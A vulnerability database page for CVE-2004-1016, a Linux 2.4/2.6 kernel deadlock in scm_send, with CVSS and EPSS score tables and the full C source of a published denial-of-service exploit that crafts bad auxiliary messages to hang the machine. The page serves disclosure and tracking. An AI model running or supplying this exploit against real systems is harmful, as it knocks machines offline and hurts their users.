CVE-2004-1016

EPSS

0.32%V4

Vector

Local

Published

2004-12-15
04h00 +00:00

Modified

2017-10-09
22h57 +00:00

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CVE.org

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

The scm_send function in the scm layer for Linux kernel 2.4.x up to 2.4.28, and 2.6.x up to 2.6.9, allows local users to cause a denial of service (system hang) via crafted auxiliary messages that are passed to the sendmsg function, which causes a deadlock condition.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	2.1		AV:L/AC:L/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.32%
2025-03-30	–	–	–	–	0.32%
2025-04-15	–	–	–	–	0.32%
2025-04-15	–	–	–	–	0.32,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	53%
2025-03-30	52%
2025-04-15	54%
2025-04-15	54%

Exploit information

Exploit Database EDB-ID : 685

Publication date : 2004-12-13 23h00 +00:00
Author : Paul Starzetz
EDB Verified : Yes

/* * Linux kernel 2.4 & 2.6 __scm_send DoS * Warning! this code will hang your machine * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * */ #define _GNU_SOURCE #include <stdio.h> #include <errno.h> #include <sys/socket.h> #include <arpa/inet.h> static char buf[1024]; void fatal (const char *msg) { printf ("\n"); if (!errno) { fprintf (stderr, "FATAL: %s\n", msg); } else { perror (msg); } printf ("\n"); fflush (stdout); fflush (stderr); exit (1); } int main (void) { int s[2], r; struct sockaddr_in sin; struct msghdr *msg; struct cmsghdr *cmsg; r = socketpair (AF_UNIX, SOCK_DGRAM, 0, s); if (r < 0) fatal ("socketpair"); memset (buf, 0, sizeof (buf)); msg = (void *) buf; msg->msg_control = (void *) (msg + 1); // make bad cmsgs cmsg = (void *) msg->msg_control; cmsg->cmsg_len = sizeof (*cmsg); cmsg->cmsg_level = 0xdeadbebe; cmsg->cmsg_type = 12; // len after overflow on second msg cmsg++; // -12 for deadlock cmsg->cmsg_len = -12; cmsg->cmsg_level = SOL_IP; msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control; r = sendmsg (s[0], msg, 0); if (r < 0) fatal ("sendmsg"); printf ("\nYou lucky\n"); fflush (stdout); return 0; } // milw0rm.com [2004-12-14]